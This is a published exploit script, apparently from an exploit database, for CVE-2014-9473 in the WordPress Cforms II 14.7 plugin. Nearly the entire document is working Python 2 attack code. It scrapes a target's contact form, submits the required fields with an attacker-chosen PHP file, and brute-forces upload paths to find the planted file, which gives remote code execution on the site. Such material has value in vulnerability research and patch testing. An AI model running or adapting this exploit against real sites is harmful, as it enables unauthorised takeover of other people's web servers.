# Exploit Title: Remote Code Execution via Unauthorised File upload in Cforms 14.7
# Date: 2015-01-19
# Exploit Author: Zakhar
# Vendor Homepage: https://wordpress.org/plugins/cforms2/
# Software Link: https://downloads.wordpress.org/plugin/cforms2.zip
# Version: 14.7
# Tested on: Wordpress 4.0
# CVE : 2014-9473
import os
import requests
import re
import base64
import sys
from lxml import etree
from optparse import OptionParser
def main():
print 'Cforms II File Upload + Remote Code Execution\n'
text = 'Test text'
text_mail = 'test@mail.com'
parser = OptionParser()
parser.add_option("-f", "--file", dest="file", help="file to upload", default = "itest.php", metavar="FILE")
parser.add_option("-i", "--max-iterations", dest="iterations", help="Numbe of fields to iterate", default = "10")
parser.add_option("-b", "--upload-file-name-bruteforce", dest="brute", help="Uploaded file name brute force", default = "10")
parser.add_option("-n", "--cforms-form-number", dest="number", help="Cforms form number", default = "")
parser.add_option("-c", "--cforms-home-dir", dest="home", help="Cforms form home dir", default = "/wp-content/plugins/cforms2/")
parser.add_option("-u", "--url", dest="url", help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")
(opt, args) = parser.parse_args()
options = opt.__dict__
if not opt.url: # if url is not given
parser.error('URL not given')
if not opt.file:
parser.error('file not given')
filename = options["file"]
if os.path.isfile(filename) is not True:
print 'No such file '+filename
return 0
url = options['url']
home = options["home"]
i = options["iterations"]
n = options["number"]
b = options["brute"]
s = requests.Session()
r = s.get(url)
if r.status_code != requests.codes.ok:
print 'Error: website not found.'
return 0
tree = etree.HTML(r.text)
# get cforms id
if n is "":
for x in xrange(2,10):
for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):
if node is not None:
n = str(x)
break
print 'Cforms form number is <'+n+'>'
hidden = ['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
fields = ['cf'+n+'_field_'+str(x) for x in xrange(1,int(i)+1)]
required = {'sendbutton'+n:'1'}
for f in fields:
for node in tree.xpath('//*[@id="' + f + '"]'):
if node is not None:
if 'fldrequired' in node.get('class'):
if 'fldemail' in node.get('class'):
required[f] = text_mail
else:
required[f] = text
for h in hidden:
for node in tree.xpath('//*[@id="' + h + '"]'):
if node is not None:
required[h] = node.get('value')
for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):
if node is not None:
print 'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'
return 0
files = {'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
r = s.post(url,data=required,files=files)
if r.status_code != requests.codes.ok:
print 'Error: post error.'
print r.status_code
return 0
else:
url1 = url + home + 'noid-wow.php'
flag = 0
if s.get(url1).status_code != requests.codes.ok:
for l in xrange(1,int(b)):
url1 = url + home + str(l) + '-wow.php'
print url1
if s.get(url1).status_code == requests.codes.ok:
flag = 1
break
else:
flag = 1
if flag == 1:
print "Succes! Uploaded file: " + url1
else:
print "Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"
main()